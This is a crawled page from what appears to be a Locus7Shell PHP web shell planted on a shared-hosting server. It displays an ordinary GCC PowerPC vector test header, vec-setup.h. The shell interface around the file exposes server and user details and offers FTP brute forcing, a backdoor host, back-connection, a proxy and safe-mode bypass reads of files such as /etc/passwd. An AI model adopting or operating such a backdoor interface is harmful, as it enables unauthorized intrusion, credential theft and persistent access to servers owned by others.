Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/powerpc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vec-setup.h (8.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <altivec.h>

/* Test various ways of creating vectors with 2 double words and accessing the
   elements.  This include files supports:

     testing double
     testing long on 64-bit systems
     testing long long on 32-bit systems.

   The endian support is:

    big endian
    little endian.  */

#ifdef DEBUG
#include <stdio.h>
#define DEBUG0(STR)        fputs (STR, stdout)
#define DEBUG2(STR,A,B)        printf (STR, A, B)

static int errors = 0;

#else
#include <stdlib.h>
#define DEBUG0(STR)
#define DEBUG2(STR,A,B)
#endif

#if defined(DO_DOUBLE)
#define TYPE    double
#define STYPE    "double"
#define ZERO    0.0
#define ONE    1.0
#define TWO    2.0
#define THREE    3.0
#define FOUR    4.0
#define FIVE    5.0
#define SIX    6.0
#define FMT    "g"

#elif defined(_ARCH_PPC64)
#define TYPE    long
#define STYPE    "long"
#define ZERO    0L
#define ONE    1L
#define TWO    2L
#define THREE    3L
#define FOUR    4L
#define FIVE    5L
#define SIX    6L
#define FMT    "ld"

#else
#define TYPE    long long
#define STYPE    "long long"
#define ZERO    0LL
#define ONE    1LL
#define TWO    2LL
#define THREE    3LL
#define FOUR    4LL
#define FIVE    5LL
#define SIX    6LL
#define FMT    "lld"
#endif

/* Macros to order the left/right values correctly.  */

#if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
#define INIT_ORDER(A, B)    (TYPE) A, (TYPE) B
#define ELEMENT_ORDER(A, B)    (TYPE) A, (TYPE) B
#define ENDIAN            "-mbig"
#else
#define INIT_ORDER(A, B)    (TYPE) B, (TYPE) A
#define ELEMENT_ORDER(A, B)    (TYPE) B, (TYPE) A
#define ENDIAN            "-mlittle"
#endif

static volatile TYPE        five    = FIVE;
static volatile TYPE        six    = SIX;
static volatile vector TYPE    s_v12 = { ONE,   TWO };
static volatile vector TYPE    g_v34 = { THREE, FOUR };


__attribute__((__noinline__))
static void
vector_check (vector TYPE v, TYPE expect_hi, TYPE expect_lo)
{
  TYPE actual_hi, actual_lo;
#ifdef DEBUG
  const char *pass_fail;
#endif

  __asm__ ("xxlor %x0,%x1,%x1"        : "=&wa" (actual_hi) : "wa" (v));
  __asm__ ("xxpermdi %x0,%x1,%x1,3"    : "=&wa" (actual_lo) : "wa" (v));

#ifdef DEBUG
  if ((actual_hi == expect_hi) && (actual_lo == expect_lo))
    pass_fail = ", pass";
  else
    {
      pass_fail = ", fail";
      errors++;
    }

  printf ("Expected %" FMT ", %" FMT ", got %" FMT ", %" FMT "%s\n",
      expect_hi, expect_lo,
      actual_hi, actual_lo,
      pass_fail);
#else
  if ((actual_hi != expect_hi) || (actual_lo != expect_lo))
    abort ();
#endif
}

__attribute__((__noinline__))
static vector TYPE
combine (TYPE op0, TYPE op1)
{
  return (vector TYPE) { op0, op1 };
}

__attribute__((__noinline__))
static vector TYPE
combine_insert (TYPE op0, TYPE op1)
{
  vector TYPE ret = (vector TYPE) { ZERO, ZERO };
  ret = vec_insert (op0, ret, 0);
  ret = vec_insert (op1, ret, 1);
  return ret;
}

__attribute__((__noinline__))
static vector TYPE
concat_extract_00 (vector TYPE a, vector TYPE b)
{
  return (vector TYPE) { vec_extract (a, 0), vec_extract (b, 0) };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract_01 (vector TYPE a, vector TYPE b)
{
  return (vector TYPE) { vec_extract (a, 0), vec_extract (b, 1) };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract_10 (vector TYPE a, vector TYPE b)
{
  return (vector TYPE) { vec_extract (a, 1), vec_extract (b, 0) };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract_11 (vector TYPE a, vector TYPE b)
{
  return (vector TYPE) { vec_extract (a, 1), vec_extract (b, 1) };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract2_0s (vector TYPE a, TYPE b)
{
  return (vector TYPE) { vec_extract (a, 0), b };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract2_1s (vector TYPE a, TYPE b)
{
  return (vector TYPE) { vec_extract (a, 1), b };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract2_s0 (TYPE a, vector TYPE b)
{
  return (vector TYPE) { a, vec_extract (b, 0) };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract2_s1 (TYPE a, vector TYPE b)
{
  return (vector TYPE) { a, vec_extract (b, 1) };
}

__attribute__((__noinline__))
static vector TYPE
concat_extract_nn (vector TYPE a, vector TYPE b, size_t i, size_t j)
{
  return (vector TYPE) { vec_extract (a, i), vec_extract (b, j) };
}

__attribute__((__noinline__))
static vector TYPE
array_0 (vector TYPE v, TYPE a)
{
  v[0] = a;
  return v;
}

__attribute__((__noinline__))
static vector TYPE
array_1 (vector TYPE v, TYPE a)
{
  v[1] = a;
  return v;
}

__attribute__((__noinline__))
static vector TYPE
array_01 (vector TYPE v, TYPE a, TYPE b)
{
  v[0] = a;
  v[1] = b;
  return v;
}

__attribute__((__noinline__))
static vector TYPE
array_01b (TYPE a, TYPE b)
{
  vector TYPE v = (vector TYPE) { 0, 0 };
  v[0] = a;
  v[1] = b;
  return v;
}

int
main (void)
{
  vector TYPE a = (vector TYPE) { ONE,   TWO  };
  vector TYPE b = (vector TYPE) { THREE, FOUR };
  size_t i, j;

  vector TYPE z = (vector TYPE) { ZERO,  ZERO };

  DEBUG2 ("Endian: %s, type: %s\n", ENDIAN, STYPE);
  DEBUG0 ("\nStatic/global initialization\n");
  vector_check (s_v12, INIT_ORDER (1, 2));
  vector_check (g_v34, INIT_ORDER (3, 4));

  DEBUG0 ("\nVector via constant runtime intiialization\n");
  vector_check (a, INIT_ORDER (1, 2));
  vector_check (b, INIT_ORDER (3, 4));

  DEBUG0 ("\nCombine scalars using vector initialization\n");
  vector_check (combine (1, 2), INIT_ORDER (1, 2));
  vector_check (combine (3, 4), INIT_ORDER (3, 4));

  DEBUG0 ("\nSetup with vec_insert\n");
  a = combine_insert (1, 2);
  b = combine_insert (3, 4);
  vector_check (a, ELEMENT_ORDER (1, 2));
  vector_check (b, ELEMENT_ORDER (3, 4));

  DEBUG0 ("\nTesting array syntax\n");
  vector_check (array_0   (a, FIVE),      ELEMENT_ORDER (5, 2));
  vector_check (array_1   (b, SIX),       ELEMENT_ORDER (3, 6));
  vector_check (array_01  (z, FIVE, SIX), ELEMENT_ORDER (5, 6));
  vector_check (array_01b (FIVE, SIX),    ELEMENT_ORDER (5, 6));

  vector_check (array_0   (a, five),      ELEMENT_ORDER (5, 2));
  vector_check (array_1   (b, six),       ELEMENT_ORDER (3, 6));
  vector_check (array_01  (z, five, six), ELEMENT_ORDER (5, 6));
  vector_check (array_01b (five, six),    ELEMENT_ORDER (5, 6));

  DEBUG0 ("\nTesting concat and extract\n");
  vector_check (concat_extract_00 (a, b), INIT_ORDER (1, 3));
  vector_check (concat_extract_01 (a, b), INIT_ORDER (1, 4));
  vector_check (concat_extract_10 (a, b), INIT_ORDER (2, 3));
  vector_check (concat_extract_11 (a, b), INIT_ORDER (2, 4));

  DEBUG0 ("\nTesting concat and extract #2\n");
  vector_check (concat_extract2_0s (a, FIVE), INIT_ORDER (1, 5));
  vector_check (concat_extract2_1s (a, FIVE), INIT_ORDER (2, 5));
  vector_check (concat_extract2_s0 (SIX, a),  INIT_ORDER (6, 1));
  vector_check (concat_extract2_s1 (SIX, a),  INIT_ORDER (6, 2));

  DEBUG0 ("\nTesting variable concat and extract\n");
  for (i = 0; i < 2; i++)
    {
      for (j = 0; j < 2; j++)
    {
      static struct {
        TYPE hi;
        TYPE lo;
      } hilo[2][2] =
          { { { ONE, THREE }, { ONE, FOUR } },
        { { TWO, THREE }, { TWO, FOUR } } };

      vector_check (concat_extract_nn (a, b, i, j),
            INIT_ORDER (hilo[i][j].hi, hilo[i][j].lo));
    }
    }

  DEBUG0 ("\nTesting separate function\n");
  vector_check (combine (vec_extract (a, 0), vec_extract (b, 0)),
        INIT_ORDER (1, 3));

  vector_check (combine (vec_extract (a, 0), vec_extract (b, 1)),
        INIT_ORDER (1, 4));

  vector_check (combine (vec_extract (a, 1), vec_extract (b, 0)),
        INIT_ORDER (2, 3));

  vector_check (combine (vec_extract (a, 1), vec_extract (b, 1)),
        INIT_ORDER (2, 4));

  vector_check (combine_insert (vec_extract (a, 0), vec_extract (b, 0)),
        ELEMENT_ORDER (1, 3));

  vector_check (combine_insert (vec_extract (a, 0), vec_extract (b, 1)),
        ELEMENT_ORDER (1, 4));

  vector_check (combine_insert (vec_extract (a, 1), vec_extract (b, 0)),
        ELEMENT_ORDER (2, 3));

  vector_check (combine_insert (vec_extract (a, 1), vec_extract (b, 1)),
        ELEMENT_ORDER (2, 4));


#if defined(DO_DOUBLE)
  DEBUG0 ("\nTesting explicit 2df concat\n");
  vector_check (__builtin_vsx_concat_2df (FIVE, SIX), INIT_ORDER (5, 6));
  vector_check (__builtin_vsx_concat_2df (five, six), INIT_ORDER (5, 6));

#elif defined(_ARCH_PPC64)
  DEBUG0 ("\nTesting explicit 2di concat\n");
  vector_check (__builtin_vsx_concat_2di (FIVE, SIX), INIT_ORDER (5, 6));
  vector_check (__builtin_vsx_concat_2di (five, six), INIT_ORDER (5, 6));

#else
  DEBUG0 ("\nSkip explicit 2di concat on 32-bit\n");
#endif

#ifdef DEBUG
  if (errors)
    printf ("\n%d error%s were found", errors, (errors == 1) ? "" : "s");
  else
    printf ("\nNo errors were found.\n");

  return errors;

#else
  return 0;
#endif
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--